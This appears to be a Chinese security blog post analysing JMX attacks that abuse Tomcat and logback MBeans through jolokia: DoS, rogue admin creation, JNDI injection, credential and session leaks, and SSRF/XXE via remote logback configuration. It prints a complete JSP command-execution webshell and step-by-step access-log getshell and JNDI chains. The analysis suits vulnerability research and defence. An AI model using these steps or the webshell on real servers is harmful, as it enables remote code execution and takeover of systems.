前言
上两篇中介绍了JMX的历史攻击方式,这一篇则介绍更加具体的组件依赖的攻击方式:利用特殊的MBean来攻击JMX。严格来讲,这不算是JMX特性的通用安全问题了,而是依赖于组件中的危险MBean和不当配置暴露的Operation。这一篇文章也会持续更新不同组件(容器、第三方JMX应用)中的MBean利用。
回顾前两篇,攻击的连接发起都是通过JMX Connector的方式直接去连接操作JMX service。而在这一篇中,可以依赖第三方JMX Adapter/Connector去作为中间介质去和JMX Server交互,如jolokia等,所以下面篇章的分类方式是:组件分类/存在问题的组件/不同的Adapter或Connector
。因为大部分情况下,存在问题的组件是相对稳定的,即其暴露的MBean是不会因为Adapter或Connector不同而改变的,而Adapter或Connector可能会有其自身的调用规范,所以操作MBean的方式不同,只需要适配其调用规则,就能够实现危险MBean的利用。
第三方JMX管理应用
jolokia
Web Server
Tomcat
- Tomcat中MBean的注册
Tomcat注册MBean的方式使用的是类似于Apache common modeler的方式,将MBean的信息保存在mbeans-descriptors.xml中,所以每个MBean暴露的Operation是已经写死了的,且规定了每个MBean的group、实际java类type、注册到Tomcat中的类型className(缺省是BaseModelMBean
)。每个MBean在Tomcat中都会注册成为一个ManagedBean,在Tomcat初始化的时候会调用MbeansDescriptorsDigesterSource#loadDescriptors
方法解析注册xml中的所有MBean且缓存在org.apache.tomcat.util.modeler.Registry#descriptors
这个Map中。等到实际获取MBeanServer
时,再将之前加载好的MBean封装成className代表的类型,这个类型就是Tomcat对外暴露的MBean的类型,所有类型都继承了BaseModelMBean。比如StandService这个类,最后会封装成ServiceMBean,如下:
- Tomcat中MBean Operation的调用
和正常的MBean类似,只不过Tomcat中所有MBean的invoke的入口是BaseModelMBean#invoke
,该方法中会获取到MBean#Opreation对应的JavaBean#Method,然后反射调用
- Tomcat xml定义的MBean和对外暴露的MBean的属性差异
注意,在Tomcat的mbeans-descriptors.xml中属性和对外暴露的属性有以下对应关系:
- className - class(MBean)
- group - type
- type - 真正被管理的Java类(不暴露在ObjectName中)
在xml中,type属性才是MBean管理的真正java类型,group属性代表的是一个接口名,type属性代表的java类实现了这个接口。比如Tomcat:type=Service
这个MBean,type是org.apache.catalina.StandardService,group是Service(其实代表着org.apache.catalina.Service这个接口),StandardService实现了Service。
根据mbeans-descriptors.xml,我们可以从一个对外暴露MBean找到真正的java类,也可以从一个java类推出其对外暴露MBean的name。以下面为例,可以得到
- java类:type=”org.apache.catalina.core.StandardService”
- 暴露的MBean Name一般是:Catalina:type=Service,class=org.apache.catalina.mbeans.ServiceMBean
1 | <mbean name="StandardService" |
因此光从外部暴露的MBean来说,我们无法知道其实际管理的java类。这可能是Tomcat对MBean管理和保护的一种机制吗?
- Tomcat暴露的Domain差异
- 正常Tomcat,叫
Catalina
- 内嵌Tomcat,叫
Tomcat
,如在Springboot中
DoS - Service#stop
- jolokia
1 | POST /jolokia |
实际调用的是org.apache.catalina.StandardService#stop
方法,继承于LifecycleBase
,可以宕掉整个Tomcat容器,造成DoS
Create Admin Account - UserDatabase#create*
- jolokia
1 | { |
注意,在embed tomcat中并不存在manager页面和User。所以在springboot等使用了embed tomcat的场景下该方法不可用
上面三个Operation实现了以下操作
- 创建role:manager-gui,即可访问/manager/html页面
- 创建用户,设置密码
- 为当前user添加role,即当前用户可以登录/manager页面执行操作
在tomcat中,可以在conf/tomcat-users.xml
目录下配置user、role等权限
1 | <role rolename="manager-gui"/> |
以上配置就是为tomcat:s3cret这个用户配置了manager-gui角色,使其能够访问/manager/html
页面
实际是通过org.apache.catalina.users.MemoryUserDatabase
类的createRole、createUser、addRole方法来的,具体代码就不跟了。
JNDI - MBeanFactory#createJNDIRealm
- jolokia
1 | { |
这里还是以Springboot+jolokia为环境分析一下这个漏洞。
漏洞原理
- 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm,会注册为
Tomcat:realmPath=/realm0,type=Realm
这个MBean - 设置 connectionURL 地址为 RMI Service URL,注意这里只能打RMI的JNDI注入,高版本用ELProcessor注入绕过
- 设置 contextFactory 为 RegistryContextFactory
- stop Realm
- start Realm 以触发指定 RMI 地址的 JNDI 注入。实际Sink点是
new InitialContext(env)
漏洞分析
在分析之前,先提一下从后面分析中学到的新的触发rmi型JNDI注入的方式
1 | Hashtable<String, String> env = new Hashtable<String, String>(); |
缺点是需要可控一个Hashtable类型的对象,不像lookup/doLookup
只需可控一个String类型的URL这么干脆。但是在代码层面,还是有用武之地的。简单跟一下流程
跟进到javax.naming.InitialContext#init
方法中,首先ResourceManager.getInitialEnvironment(env)从传入的env中获取jndi规定的属性,保存在myProps中
然后调用getDefaultInitCtx
,这里gotDefault
是false,传入属性创建Context,在创建的过程中就lookup了。而一般的lookup是通过NamingManager.getURLContext("rmi"|"ldap", null);
来获取的
跟进,获取RegistryContextFactory
,然后调用RegistryContextFactory#getInitialContext(env)
继续跟进如下调用栈
1 | getObjectInstance:53, rmiURLContextFactory (com.sun.jndi.url.rmi) |
在com.sun.jndi.url.rmi.rmiURLContextFactory#getUsingURL
中,最终触发lookup。这里实际和InitialContext#lookup所达到的点是一样的。
但是需要注意的是,对于ldap方式的com.sun.jndi.ldap.LdapCtxFactory,不会调用lookup。
接下来分析一下这个漏洞的点
createJNDIRealm
关于Tomcat Realm:https://wiki.jikexueyuan.com/project/tomcat/realms-aaa.html
简单来说,就是存储了User和Role信息的一个域,Servlet能够很方便的在Realm中获取信息并确认权限
该方法会创建一个Tomcat下的Realm,即JNDIRealm,通过connectionURL来设置连接地址,contextFactory
来设置连接方式,默认是com.sun.jndi.ldap.LdapCtxFactory
简单跟一下,springboot endpoint->jolokia调度的部分就不分析了,和前面的一样。
这里初始化一个新的JNDIRealm,然后获取到容器(Engine、Host、Context),这里获取的是Engine。
setRealm
方法往Engine中放入我们的JNDIRealm,该方法做了以下操作
LifecycleBase#stop
:关闭Old RealmLifecycleBase#start
:开启新Realm,开启过程中会进行一系列初始化。- 包括注册Mbean,在LifecycleMBeanBase#initInternal,
Tomcat:type=Realm,realmPath=/realm0
- 创建Context,触发漏洞的点,在后面会分析。
- 包括注册Mbean,在LifecycleMBeanBase#initInternal,
setContextFactory
默认的contextFactory是com.sun.jndi.ldap.LdapCtxFactory
,需要设置成rmi的RegistryContextFactory。
这里调用的是MBean属性的WRITE,即setXxx
,这并不是一个Operation,而是jolokia提供的Read和Write操作
setConnectionURL
设置jndi的url
stop
关闭当前的Realm。
start
重新开启Realm。这个操作是触发漏洞的点,跟一下源码。
start中两个重要的方法:init和startInternal。由于当前的Realm的状态是STOPPER,所以init不用看。
直接跟进startInternal
,跟进到org.apache.catalina.realm.JNDIRealm#open
,可以看到这里的createDirContext
要创建DirContext
,且传入getDirectoryContextEnvironment
获取的env。这里就有点类似前面的new InitialContext(env)
了。
继续跟进createDirContext
,其实这里已经分析结束了。new InitialDirContext(env)
也是能够触发的,因为其继承InitialContext,构造方法中也调用了super(env)
Write AccessLog Getshell
- jolokia
1 | { |
漏洞原理
可以通过改变AccessLog的位置为webapps目录下的Xxx.jsp,然后发送包含jsp内容的脏请求来往日志中写。然后访问Xxx.jsp来Getshell。
Tomcat暴露出AccessLogValve,当请求来时,会调用相应容器Container的logAccess方法,该方法会调用AccessLogValve
的log方法来往access log中写入日志内容。AccessLogValve
的rotate
方法用于accesslog切割,带参数的rotate方法可以切割访问信息到指定文件。即假设原先的accesslog是1.txt,调用rotate(2.txt),会清空2.txt文件,访问一次webapp,此时2.txt中未写入access信息,而是保存在缓存中,再调用一次rotate(2.txt)会将缓存的信息刷新到2.txt中。
而AccessLogValve
的pattern属性用于控制access信息的格式,具体可参考http://xiaobaoqiu.github.io/blog/2014/12/30/tomcat-access-logpei-zhi/,常用的格式有:
通过rotate(fileName)
和修改pattern
属性,我们可以写入任意内容,因此我们可以考虑在可访问的webapps目录下写入jsp来getshell,但是我们必须要知道Tomcat Path(绝对路径),一般情况下,可以通过读取环境变量来获取CATALINA_HOME
。
对于access格式,默认情况下是%h %l %u %t “%r” %s %b
,而且在URL中写jsp的话,对于<%
等字符不合法,会爆400,写进去的内容是null。所以我们需要修改一下access格式,这里选取下面的%{xxx}i/o/c
都比较方便
攻击步骤
简单说一下整个步骤:
- READ SystemProperties:获取
CATALINA_HOME
,拼接上可访问的webapps目录作为accesslog目录 - WRITE pattern:修改access格式为
%{User-Agent}i
,即可在UA中放入我们的jsp代码 - 第一次EXEC rotate:参数为
accesslog目录/shell.jsp
- 用burp在UA写jsp内容,访问任意页面。下面是带回显,也可以注入冰蝎马、内存马啥的。
1 | <%@ page import="java.io.BufferedReader" %><%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.io.InputStreamReader" %><% Process p = java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));InputStream in = p.getInputStream();StringBuilder sb = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(in));String line;while((line = br.readLine()) != null){sb.append(line).append("\n");}response.getWriter().write(sb.toString()); %> |
- 第二次EXEC rotate:参数和上面一下,刷新写入access log即shell.jsp中
搓一个exp,方便一点:
1 | from re import S |
Leak Info
除了上面的操作外,还可以通过其他MBean来泄露一些敏感信息
- Leak User Password
1 | Users->User->”manager”->UserDatabase->Attributes |
- Leak Sessions
1 | Catalina->Manager->[ApplicationName/context]->Operations->listSessionIds() |
Component
logback
JNDI - JMXConfigurator#reloadByURL
以Springboot jolokia logback JNDI RCE为例,简单分析一下。由于是基于springboot的,所以需要一些前置条件
- 以web的方式暴露jolokia Endpoint
- 允许外连
漏洞原理
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用
ch.qos.logback.classic.jmx.JMXConfigurator
类的reloadByURL
方法 - 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部 JNDI 服务器地址 - 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
漏洞分析
JMXConfigurator#reloadByURL
方法的参数是URL类,但是我们从jolokia-URL传入的参数是String类型的,在ExecHandler#doHandleRequest
中会做一步类型转换再调用JmxMBeanServer#invoke
去处理,从转换中我们可以看到,null的字符串表示是[null]
,空串的字符串表示是""
,数组的字符串表示是[]
最后会得到合适类型的参数来调用reloadByURL方法
接下来,初始化一个JoranConfigurator,然后继续调用doConfigure
方法
直接对可控URL调用了以下代码,很明显的SSRF
1 | url.openConnection(); |
获取到URLConnection后,近一步调用doConfigure来解析远程获取的jolokia.xml文件
将远程资源封装为org.xml.sax.InputSource然后调用SaxEventRecorder#recordEvents
方法来解析xml文件
熟悉的xml解析SAXParser#parse
,只要buildSaxParser
方法在初始化SAXParser
没有设置相关xxe防御选项,就可以造成XXE
可以看到,没有设置防止外部实体注入的相关feature,正确的写法
1 | SAXParserFactory spf = SAXParserFactory.newInstance(); |
所以这里可以更换一下payload来XXE,如下
1 | // xml |
正常情况下,解析出xml的标签event如下
再进一步调用doConfigure方法来解析标签。实际是调用的EventPlayer
组件的play方法
直接看到处理StartEvent(insertFromJNDIenv-entry-name)
的地方
这里会根据ElementPath来在map中查找对应的Action,此时的ElementPath是[configuration][insertFromJNDI]
,这里直接可以在logback官方文档中查找logback配置文件支持的xml标签
http://logback.qos.ch/manual/configuration.html#insertFromJNDI
在相应的map中也可以找到指定的Action,一个Action其实对应的就是一段具体的标签操作,用begin和end方法对应标签的start和end的处理
之后就会调用ch.qos.logback.classic.joran.action.InsertFromJNDIAction#begin
,赤裸裸的jndi注入
总结一下整个过程,涉及三大组件
- SpringBoot暴露出未授权的jolokia actuator模块,可以在
/jolokia/exec
中调用/jolokia/list
列出的所有已注册的Mbean的指定方法 - jolokia解析传入的
jolokia-URL
,得到相应的操作(exec)和Mbean信息(mbean,method,arg),然后调用的是logback的JMXConfigurator#reloadByURL
- logback的JMXConfigurator组件的reloadByURL对应的是logback从外部加载配置的功能,其中指定如下标签的话,可以从外部jndi加载配置。其中涉及外连配置所在地、解析xml、连接jndi,这几部分都没有相应的防护,会造成SSRF、XXE和JNDI注入。
1 | <insertFromJNDI env-entry-name="ldap://..." as="appName" /> |